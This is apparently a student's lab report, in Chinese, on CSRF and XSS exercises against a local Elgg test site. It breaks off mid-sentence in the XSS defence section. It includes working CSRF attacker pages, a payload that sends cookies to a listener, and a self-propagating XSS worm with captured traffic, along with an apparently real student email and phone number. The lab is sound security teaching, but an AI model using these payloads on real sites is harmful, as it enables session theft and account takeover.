信息系统安全实验3记录

跨站请求伪造(CSRF)攻击实验

任务 1:基于 GET 请求的 CSRF 攻击

使用 samy 登录,发送添加好友命令,获取 URL。HTTP Header Live 插件窗口捕获的数据包如图所示:

image-20240619220223319

由此我们可以知道 GET 请求的结构是 http://www.csrflabelgg.com/action/friends/add?friend=id,所以现在我们需要获取 Samy 的 ID 号码。通过尝试为 Samy 创建一个新界面,我们可以看到红色高亮部分 45 是 Samy 的 ID。

image-20240619221713999

在攻击者网站下创建 get_csrf.html

1
sudo touch /var/www/CSRF/Attacker/get_csrf.html

写入以下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>  
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSRF_GET</title>
</head>
<body>
Alice, you're my friend now!
<img src="http://www.csrflabelgg.com/action/friends/add?friend=45"/>
</body>
</html>

Samy 向 Alice 发送了一封邮件,诱使 Alice 点击恶意链接 http://www.csrflabattacker.com/get_csrf.html

image-20240619224208937

登录 Alice 的账户查看邮件并访问恶意网页,捕获到的 GET 请求数据包添加了用户 ID 45,即 Samy,然后检查活动界面发现 Alice 添加了 Samy 为好友。

image-20240619224651139
image-20240619224818367
image-20240619224859567

任务 2:使用 POST 请求的 CSRF 攻击

仍然先登录 Samy 的账户,然后修改个人主页,进行 POST 请求数据包捕获,得到以下结果。

image-20240619230611400

POST 请求发送到 http://www.csrflabelgg.com/action/profile/edit,提交的表单内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__elgg_token=2G9AraT4cb7pPqONMfz3sQ
&__elgg_ts=1718837884
&name=Samy
&description=<p>A Hacker</p>
&accesslevel[description]=2
&briefdescription=Student
&accesslevel[briefdescription]=2
&location=Wuhan
&accesslevel[location]=2
&interests=Football
&accesslevel[interests]=2
&skills=python
&accesslevel[skills]=2
&contactemail=U202112149@hust.edu.cn
&accesslevel[contactemail]=2
&phone=19907121291
&accesslevel[phone]=2
&mobile=19907121291
&accesslevel[mobile]=2
&website=https://strivelee.top
&accesslevel[website]=2
&twitter=lixiang21
&accesslevel[twitter]=2
&guid=45

根据这个请求格式,Alice 的 guid 知道是 43,尝试使用 POST 请求进行 CSRF 攻击。

首先在攻击者网站下创建 get_csrf.html

1
sudo touch /var/www/CSRF/Attacker/post_csrf.html

写入以下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html>  
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSRF_POST</title>
</head>
<body>
Alice, your profile has changed!
</body>

<script>
fetch('http://www.csrflabelgg.com/action/profile/edit', {
credentials: 'include',
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: new URLSearchParams({
guid:42,
description:"<p>Samy is my hero</p>",
briefdescription:"I'm Samy",
})
})

</script>
</html>

Samy 向 Alice 发送了一封邮件,诱使 Alice 点击恶意链接 http://www.csrflabattacker.com/post_csrf.html

image-20240619232506107

登录 Alice 的账户,然后查看并点击邮件中的链接。

image-20240619232629475

我们可以看到“关于我”部分已成功修改,POST 请求数据包被捕获,与现象一致。

image-20240619232821090
image-20240620230509435

任务 3:实现登录 CSRF 攻击

首先捕获登录请求数据包,相应的请求方法为 POST,URL 为 http://www.csrflabelgg.com/action/login,请求表单包含用户名和密码,均为明文。

image-20240620164209052

表单数据内容如下:

1
2
3
4
__elgg_token=5ovl8du9mM-5V1rwIDhJsg
__elgg_ts=1718872774
username=Samy
password=seedsamy

首先在攻击者网站下创建 get_csrf.html

1
sudo touch /var/www/CSRF/Attacker/post_csrf.html

写入以下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<!DOCTYPE html>  
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSRF_Login</title>
</head>
<body>
Alice, here is a CSRF_Login attack!
</body>

<script>
// 发送 POST 请求
// 带上 cookie
fetch('http://www.csrflabelgg.com/action/login', {
credentials: 'include',
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
// 传递参数
body: new URLSearchParams({
username:"samy",
password:"seedsamy",
persistent:true,
})
})

</script>
</html>

Samy 向 Alice 发送了一封邮件,诱使 Alice 点击恶意链接 http://www.csrflabattacker.com/login_csrf.html

image-20240620222327448
image-20240620223041289
image-20240620223149485

任务 4:防御策略

首先进入目录 /var/www/CSRF/Elgg/vendor/elgg/elgg/engine/classes/Elgg,找到 ActionService.php 文件中的 gatekeeper() 函数,并注释掉 return true 语句。

image-20240620231737340

所有 3 次攻击均失败:

image-20240620232609700

GET 请求没有 token:

image-20240620232620176

POST 请求没有 token:

image-20240620232830171

登录没有 token:

image-20240620232359807

跨站脚本(XSS)攻击实验

首先需要切换网站,切换到 http://www.xsslabelgg.com。

使用 samy 登录,修改 samy 的个人资料。在“关于我”字段中,首先点击编辑 HTML,添加以下内容:

1
<script>document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) +  '>'); </script>  
image-20240621102354596

切换到 Alice 并查看 Samy 的主页,使用 nc 监听 5555 端口 nc -l 5555 -v 来查看数据包信息,HTTP Header Live 也有效。

image-20240621102835358
image-20240621103053599

任务 2:使用 Ajax 脚本自动发起会话劫持

使用 samy 登录,修改 samy 的个人资料。在“关于我”字段中,首先点击编辑 HTML,添加以下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<script>  
window.onload = function () {
var ts = elgg.security.token.__elgg_ts;
var token = elgg.security.token.__elgg_token;
var guid = elgg.session.user.guid;
fetch('http://www.xsslabelgg.com/action/profile/edit', {
credentials: 'include',
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: new URLSearchParams({
__elgg_ts: ts,
__elgg_token: token,
guid: guid,
briefdescription: "Samy is my hero",
})
})
}
</script>

然后,切换到使用 Alice 登录,从 Alice 的界面打开 Samy 的主页进行查看。通过 HTTP Header Live 插件,发现已发送修改简要描述的 POST 请求,达成攻击效果。发送的 HTTP 数据包:

image-20240621104726870

任务 3:构造 XSS 蠕虫

使用 samy 登录,修改 samy 的个人资料。在“关于我”字段中,首先点击编辑 HTML,添加以下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<script id='worm'>  
setTimeout(() => {
var ts = elgg.security.token.__elgg_ts;
var token = elgg.security.token.__elgg_token;
var guid = elgg.session.user.guid;
fetch('http://www.xsslabelgg.com/action/profile/edit', {
credentials: 'include',
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: new URLSearchParams({
__elgg_ts: ts,
__elgg_token: token,
guid: guid,
briefdescription: "Samy is my hero",
description: "<script id='worm'>" + document.getElementById('worm').innerHTML + "<\/script>"
})
})
}, 3000)
</script>

然后,切换到使用 Alice 登录,从 Alice 的界面打开 Samy 的主页进行查看。通过 HTTP Header Live 插件,发现已发送修改简要描述的 POST 请求,达成攻击效果。发送的 HTTP 数据包:

image-20240621105412187

与上述不同的是,此 POST 数据包的描述字段被修改为恶意 XSS 脚本本身,从而创造了传播性。修改 Alice 个人资料的具体数据包内容如下。

image-20240621110705476
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
http://www.xsslabelgg.com/action/profile/edit
Host: www.xsslabelgg.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.xsslabelgg.com/profile/samy
content-type: application/x-www-form-urlencoded
origin: http://www.xsslabelgg.com
Content-Length: 1136
Cookie: Elgg=jl5l97kq1k4todunjgn0ek8ft0
Connection: keep-alive
__elgg_ts=1718938378&__elgg_token=P-0B7cbe_msL5vOGF0n8AQ&guid=44&briefdescription=Samy is my hero&description=<script id='worm'>
setTimeout(() => {
var ts = elgg.security.token.__elgg_ts;
var token = elgg.security.token.__elgg_token;
var guid = elgg.session.user.guid;
fetch('http://www.xsslabelgg.com/action/profile/edit', {
credentials: 'include',
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: new URLSearchParams({
__elgg_ts: ts,
__elgg_token: token,
guid: guid,
briefdescription: "Samy is my hero",
description: "<script id='worm'>" + document.getElementById('worm').innerHTML + "<\/script>"
})
})
}, 3000)
</script>
POST: HTTP/1.1 302 Found
Date: Fri, 21 Jun 2024 02:53:01 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: http://www.xsslabelgg.com/profile/alice
Content-Length: 0
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
Content-Type: text/html;charset=utf-8

以 Boby 登录并访问 Alice 的个人资料,也可以获取修改个人资料的 POST 数据包,Boby 的介绍也被修改为同一句话:

image-20240621111233972
image-20240621111431159

任务 4:防御策略

仅启用 HTMLawed 1.9

Elgg 默认有防御策略。虚拟机已禁用并注释掉相应的防御策略。实际上,Elgg Web 应用程序最初启用了一个自定义安全插件 HTMLawed,它验证用户输入并移除输入中的标签。这个特定插件被注册到 elgg/engine/lib/input.php 文件中的过滤标签功能。例如,它将